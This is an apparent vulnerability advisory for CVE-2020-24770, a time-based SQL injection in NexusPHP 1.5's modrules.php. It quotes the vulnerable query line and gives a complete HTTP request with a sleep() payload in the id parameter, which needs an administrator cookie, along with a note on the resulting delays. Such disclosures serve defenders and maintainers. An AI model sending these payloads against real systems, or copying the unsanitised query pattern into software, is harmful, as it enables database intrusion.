Need get the administrator's identity to complete the attack.

CVE-2020-24770

Affected software: NexusPHP 1.5

fixed version: nexusphp v1.6.0-beta2 https://github.com/xiaomlove/nexusphp/releases

Software Download Link: http://sourceforge.net/projects/nexusphp/

Github Repository https://github.com/xiaomlove/nexusphp

Vulnerability details

modrules.php:line 42

```
$res = @mysql_fetch_array(@sql_query("select * from rules where id='$id'"));
```

exploit:

```
GET /modrules.php?act=edit&id=1%27%20and%20sleep(2)%23 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: administrator_cookies
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
```

/modrules.php?act=edit&id=1%27%20and%20sleep(2)%23

The return will be delayed for 2 seconds

/modrules.php?act=edit&id=1%27%20and%20sleep(0)%23

The return will be delayed for 0 seconds